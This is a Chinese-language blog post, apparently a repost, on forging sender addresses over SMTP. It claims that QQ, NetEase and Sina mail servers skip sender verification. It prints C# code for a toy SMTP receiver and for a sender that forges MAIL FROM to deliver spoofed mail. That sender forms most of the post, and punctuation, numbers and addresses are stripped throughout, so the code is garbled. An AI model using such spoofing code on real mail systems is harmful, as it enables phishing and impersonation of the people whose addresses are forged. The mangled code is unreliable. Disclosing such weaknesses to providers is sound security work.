這幾天學習了下郵箱服務器及郵件協議發現了不少問題於是就測試了一下各個大型郵箱服務商的服務器(這個問題應該之前也有人發現的可能我沒找到把)
經過測試發現了一個非常嚴重的問題(至少我覺得已經非常嚴重了)就是可以完全偽造任何人的郵箱地址發送郵件比如 發送給除郵箱的大多數郵箱
我測試了QQ網易新浪三家的郵箱服務器都沒有做任何的驗證(騰訊的稍微好點)
我先說說這個漏洞存在哪裡首先郵箱服務器之間的通信比如下面這個
A 發送服務器 B接收服務器
A:鏈接B
B: Welcome to Happy you and me SMTP Server
A:HELO
B: ok
A:MAIL FROM:<>
B: ok
A:RCPT TO:<hap>
B: ok
A:DATA
B: Start mail input; end with <CRLF><CRLF>
A:DATA數據
B: OK
之後就是退出命令
按常理我們應該在A發HELO 的時候去獲取A的服務器信息然後驗證是否於當前鏈接的IP地址符合但我測試的這三家都沒有做任何的驗證也就導致了MAIL FROM 的郵箱可以任意指定
其實我認為當初設計這個協議的時候作者的想法是互相表明了身份後雙方都應該驗證對方身份是否合法的但可惜的是以上三家服務商並沒有驗證(的郵箱服務器好像不是自己的)
我文采不好也就不多說了希望各大服務商能盡快修復這個問題帶給我們用戶一點安全感吧現在我都不敢相信郵箱內容了打電話確認了之後才放心
如果小弟有啥不對的地方請各位多多指正小弟不甚感激
最後付上我測試的郵箱接收和發送的代碼各位大哥大姐也可以去測下(但測試測試就好了 別做壞事哦)
接受端
class Program
{
static void Main(string[] args)
{ var listener = new TcpListener(IPAddressAny )
listenerStart()
while (true) { ConsoleWriteLine(服務已啟動)
var socket = listenerAcceptSocket()
ResolveSocket(socket)
}
}
static void ResolveSocket(Socket socket)
{ ConsoleWriteLine(收到消息{} socketRemoteEndPoint)//收到鏈接
socketSend(SystemTextEncodingASCIIGetBytes( Welcome to Happy you and me SMTP Server/r/n))//服務器准備完成並發送歡迎語句
byte[] bytes = new byte[]; var count = socketReceive(bytes)//接收
var sendServer = SystemTextEncodingASCIIGetString(bytes)
ConsoleWriteLine(sendServer)
ConsoleWriteLine(發件箱服務器{} sendServerSplit( )[])//獲取發送服務器地址
socketSend(SystemTextEncodingASCIIGetBytes( /r/n))//發生確認信息
bytes = new byte[]; count = socketReceive(bytes)
sendServer = SystemTextEncodingASCIIGetString(bytes)
//獲取到發送郵件的主人地址 ConsoleWriteLine(sendServer)
ConsoleWriteLine(發件人地址 {} SystemTextRegularExpressionsRegexMatch(sendServer @/<([/s/S]+)/>)Groups[])//獲取發件人地址
socketSend(SystemTextEncodingASCIIGetBytes( OK/r/n))//告訴對方服務器可以接收發件人發來的郵件
bytes = new byte[]; count = socketReceive(bytes)
sendServer = SystemTextEncodingASCIIGetString(bytes)// OK ConsoleWriteLine(sendServer)
while (sendServerStartsWith(rcpt StringComparisonOrdinalIgnoreCase))//循環獲取接收此郵件人的信息
{ ConsoleWriteLine(收件人地址 {} SystemTextRegularExpressionsRegexMatch(sendServer @/<([/s/S]+)/>)Groups[])//獲取收件人地址
socketSend(SystemTextEncodingASCIIGetBytes( OK/r/n))//告訴對方服務器接收人可以接收發件人發來的郵件
bytes = new byte[]; count = socketReceive(bytes) sendServer = SystemTextEncodingASCIIGetString(bytes)// OK ConsoleWriteLine(sendServer) }
if (sendServerStartsWith(data StringComparisonOrdinalIgnoreCase))//正式數據
{ socketSend(SystemTextEncodingASCIIGetBytes( Start mail input; end with <CRLF><CRLF>/r/n))//告訴對方可以開始寫入郵件內容了 bytes = new byte[]; while ((count = socketReceive(bytes)) == )
{sendServer += SystemTextEncodingASCIIGetString(bytes)
} sendServer += SystemTextEncodingASCIIGetString(bytes)
socketSend(SystemTextEncodingASCIIGetBytes( OK/r/n))//告訴對方我接收完成了
bytes = new byte[]; socketReceive(bytes)
sendServer += SystemTextEncodingASCIIGetString(bytes)
ConsoleWriteLine(sendServerTrim()) SystemIOFileWriteAllText(d://txt sendServer)
} socketSend(SystemTextEncodingASCIIGetBytes( Goodbye/r/n))//結束此次對話
socketClose()
socketDispose()
}
}
發送端
class Program
{
static void Main(string[] args)
{ // //qq郵箱 更多服務器nslookup qt=mx //// 郵箱 更多服務器nslookup qt=mx //freemcn SystemNetSocketsTcpClient client = new SystemNetSocketsTcpClient(freemcn )//連接接收此郵件的服務器 byte[] bytes = new byte[]; var count = clientClientReceive(bytes)//接收服務器返回的狀態信息 var sendServer = SystemTextEncodingASCIIGetString(bytes)//應該返回
ConsoleWriteLine(sendServer) clientClientSend(SystemTextEncodingASCIIGetBytes(HELO /r/n))//發送HELO信息 bytes = new byte[]; count = clientClientReceive(bytes)//接收服務器返回的狀態信息 sendServer = SystemTextEncodingASCIIGetString(bytes)//應該返回
ConsoleWriteLine(sendServer) clientClientSend(SystemTextEncodingASCIIGetBytes(MAIL FROM:</r/n>>/r/n))//通知服務器郵件的發送者
bytes = new byte[];
count = clientClientReceive(bytes)//接收服務器返回的狀態信息
sendServer = SystemTextEncodingASCIIGetString(bytes)//返回 則可以繼續否則不能繼續了
ConsoleWriteLine(sendServer)
clientClientSend(SystemTextEncodingASCIIGetBytes(RCPT TO:</r/n>>/r/n))//通知服務器接收郵件的郵箱地址 多個可循環此步驟但要接收了返回信息在發
bytes = new byte[];
count = clientClientReceive(bytes)//接收服務器返回的狀態信息
sendServer = SystemTextEncodingASCIIGetString(bytes)//返回 則可以繼續否則不能繼續了
ConsoleWriteLine(sendServer)
clientClientSend(SystemTextEncodingASCIIGetBytes(DATA/r/n))//通知服務器要發生郵件內容了
bytes = new byte[];
count = clientClientReceive(bytes)//接收服務器返回的狀態信息
sendServer = SystemTextEncodingASCIIGetString(bytes)//返回 則可以繼續否則不能繼續了
ConsoleWriteLine(sendServer)
string data = @From:<To>>To: <ContentType>>ContentType: text/plain; charset=UTFContentTransferEncoding: BaseLiNaWoSPoCdyMou/LgYKuxY+RLqGLiqYKuLuLeOAgivvIE==_Part__;
clientClientSend(SystemTextEncodingASCIIGetBytes(data))//郵件內容內容是Base編碼的 不好意思拿你郵箱發了個郵件!
ConsoleWriteLine(數據發送完成) bytes = new byte[]; count = clientClientReceive(bytes)//接收服務器返回的狀態信息
sendServer = SystemTextEncodingASCIIGetString(bytes)
ConsoleWriteLine(sendServer)//返回 則成功了 則失敗發送給qq的郵箱失敗率很高不知道為什麼也是失敗但不知道什麼東西
ConsoleRead()
}
}
From:http://tw.wingwit.com/Article/program/net/201311/11637.html